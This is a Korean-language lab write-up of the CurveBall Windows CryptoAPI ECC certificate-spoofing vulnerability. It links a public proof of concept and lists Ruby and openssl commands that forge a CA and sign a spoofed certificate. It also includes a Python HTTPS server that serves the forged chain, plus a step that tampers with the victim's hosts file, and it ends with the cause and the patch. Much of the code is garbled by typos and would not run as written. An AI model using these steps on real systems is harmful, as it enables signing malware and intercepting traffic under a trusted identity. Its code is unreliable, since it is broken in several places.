Windows CryptoAPI가 타원 곡선 암호화 인증서를 검증하는 방식에 스푸핑 취약점이 존재.
스푸핑된 코드 서명 인증서를 사용하여 악성 실행 파일에 서명함으로써 해당 파일이 신뢰할 수 있는 것처럼 보이게 하여 취약점을 악용 가능

가짜 코드서명 인증서로 서명을 해도 정상적이고 신뢰받는 인증서로 서명된 것으로 여겨짐

CryptoAPI가 ECC로 서명된 인증서를 검증하는 과정에 대한 취약점

취약한 버전

Windows 10 2020.01.14 이전 패치
Windows Server 2016, 2019 2020.01.14 이전 패치

개념

타원 곡선 암호화(ECC) ?

취약점 테스트

환경 구축

1. **인증서가 포함된 PoC 코드를 다운 받는다.** (링크 : https://github.com/ly4k/CurveBall)

---

2. **인증서 생성과 서버 구동을 위한 패키지를 설치한다.**

```
apt-get install ruby
apt-get install python3-pip
pip3 install httpserver
```

---

3. **CA가 저장된 폴더로 진입하여 악의적인 인증서에 서명을 한다.**

```
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cery.key -out cery.csr -config openssl_tls.conf -reqexts v3_tls
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -
CAcreateserial -out cert.cry -days
0000 -extfile openssl_tls.conf -extensions v3_tls
```

1. 스푸핑 작업에 활용하기 위한 정보 추출
   Ruby 스크립트를 이용하여 cer 파일을 읽어들인다.
   MicrosoftECCProductRootCertificateAuthority.cer: Windows10에서 ECC를 사용하는 신뢰할 수 있는 루트 인증 기관으로 이 인증서로 서명된 모든 것은 자동으로 신뢰됨.
2. 스푸핑 된 새로운 CA 인증서 생성
   새로운 x509 형식으로 스푸핑된 CA의 개인키를 사용하여 인증서 생성 후 spoofed_ca.crt 라는 이름으로 저장
3. 인증서에 사용 할 개인키 생성
   ECC에서 secp384rl 곡선을 사용하여 새로운 개인 키를 생성하여 출력 결과를 화면에 표시하지 않고 cert.key 파일에 저장

4. 클라이언트 인증서를 요청하는 CSR 생성
   새로 생성한 개인키를 사용하여 새 인증서 요청을 생성 후 cert.cry 라는 이름으로 저장
   openssl_tls.conf를 사용하여 인증서 속성을 정의하고 CSR 생성 시 v3_tls 확장을 추가
5. 생성된 CSR을 스푸핑된 CA로 서명하여 최종 클라이언트 인증서 발급
   CSR 파일을 입력으로 사용하고 스푸핑 된 CA 개인키를 사용하여 CSR을 서명
   CA 인증서의 고유 일련번호를 생성 후 cert.cry 라는 이름으로 저장
   인증서의 유효기간을 0000으로 설정하고 Openssl 설정 파일과 v3_tls 확장을 사용

---

4. **HTTP Server를 구동한다**
5. ert.crt파일과 spoofed_ca.crt 파일을 이어 하나의 파일로 생성한다.
   `cat cert.crt spoofed_ca.crt > cert_chain.crt`
6. 인증서를 사용하는 python Http server를 작성한다.

```
import ssl

from http.server import HTTPServer
from http.server import BasedHTTPRequestHandler

class s(BaseHTTPRequestHandler):
        def do_GET(slef):
                content = "Hellow World!"
                self.wfile.write(content.encode("utf8"))

HTTPD = HTTPServer(("192.168.217.138, 443), s)
HTTPD.socket = ssql.wrap_socket(HTTTPD.socket, keyfile="cert.key",
certfile="cert_chain.crt",server_side=True)
HTTPD.serve_forever()
```

3. 파일을 실행한다.

PoC 테스트
공격을 받는 PC에서 host 파일을 변조하여 공격자의 IP가 발급받은 도메인과 같도록 수정한다 .

-> 악의적인 인증서가 공격을 받는 PC에서 신뢰할 수 있는 인증서로 나타나는지 확인한다.

취약점 발생 원인

Windows에서 인증서의 신뢰성 검증 시 인증서의 공개키는 검증하지만 Generator에 대해서는 검증을 하지 않아 발생.

대응 방안

- 취약점이 패치된 최신 버전의 Windows Update를 받는다

---

https://m.blog.naver.com/skinfosec2000/221808540609

https://github.com/ly4k/CurveBall